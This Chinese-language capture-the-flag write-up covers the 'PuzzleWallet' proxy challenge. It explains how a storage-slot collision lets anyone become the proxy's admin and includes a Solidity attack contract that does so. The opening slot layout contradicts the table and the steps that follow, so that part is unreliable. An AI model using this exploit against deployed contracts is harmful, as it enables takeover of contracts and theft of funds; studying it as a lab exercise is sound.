PuzzleWallet
Reference
目标
成为代理合约的 admin 账户
分析
slot
proxy-admin
地址和wallet-maxBalance
存储在slot0
proxy-pendingAdmin
地址和wallet-owner
存储在slot1
Proxy-slot0 | Wallet-slot0 | Proxy-slot1 | Wallet-slot1 |
---|---|---|---|
pendingAdmin | owner | admin | maxBalance |
Proxy
合约存储状态,Wallet
合约存储逻辑Wallet
合约的数据更新不会影响Proxy
合约,因为Proxy
只会使自己合约存储的数据Proxy
合约的数据更新会影响Wallet
合约的函数判断,因为Proxy
会把Wallet
合约逻辑拿到Proxy EVM
环境中执行
maxBalance
Proxy-admin
地址和Wallet-maxBalance
存储在slot0
- 如果可以在
Proxy
中更新slot0->maxBalance(admin)
数据,就可以实现目标
Wallet-setMaxBalance()
function setMaxBalance(uint256 _maxBalance) external onlyWhitelisted
,函数需要白名单地址才能调用
Wallet-addToWhitelist()
function addToWhitelist(address addr) external {
require(msg.sender == owner, "Not the owner");
whitelisted[addr] = true;
}
- 函数需要
owner
地址调用 - 在
Wallet
逻辑合约中,owner
存储在slot0
- 对于
Proxy
函数调用过程中owner
的判断,也会从slot0
中取数据 Proxy slot0
中存储的是pendingAdmin
地址而言
Proxy-proposeNewAdmin()
function proposeNewAdmin(address _newAdmin) external {
pendingAdmin = _newAdmin;
}
Proxy
合约调用 proposeNewAdmin()
函数修改 slot0-pendingAdmin
,不需要额外的验证,任何地址都可以提交修改。
实现逻辑–修改admin为attack()合约地址
- 部署
Attack()
合约,实例化Proxy
和Wallet
合约,将Proxy
合约的admin
地址更新为msg.sender
- 调用
Proxy
合约proposeNewAdmin()
函数,Attack
合约地址作为参数传递 –>Proxy 的slot0 存储 Attack() 合约地址
- 在
Proxy
合约中调用addToWhitelist()
函数:addToWhitelist()
校验owner
身份,owner
存储在slot0
位置Proxy
合约按照Wallet
逻辑,从slot0
取出owner
地址slot0
存储的是Attack()
合约地址,交易发起者也是Attack()
合约, 满足判断条件
- 在
Proxy
合约中调用setMaxBalance()
函数,将Attack
合约地址作为参数传递setMaxBalance()
校验 白名单- 第三步骤将
Attack
合约置为白名单,满足条件 Proxy
合约按照Wallet
逻辑–> 更新slot1
数据
- 在
Proxy
中读取slot1--> Admin
地址
constructor() {
pw = new PuzzleWallet();
pp = new PuzzleProxy(msg.sender, address(pw), "");
}
function attack() external returns (address) {
pp.proposeNewAdmin(address(this));
bytes memory data = abi.encodeWithSelector(
bytes4(keccak256("addToWhitelist(address)")),
address(this)
);
address(pp).call(data);
uint256 value = tovalue(address(this));
data = abi.encodeWithSelector(
bytes4(keccak256("setMaxBalance(uint256)")),
value
);
address(pp).call(data);
return pp.admin();
}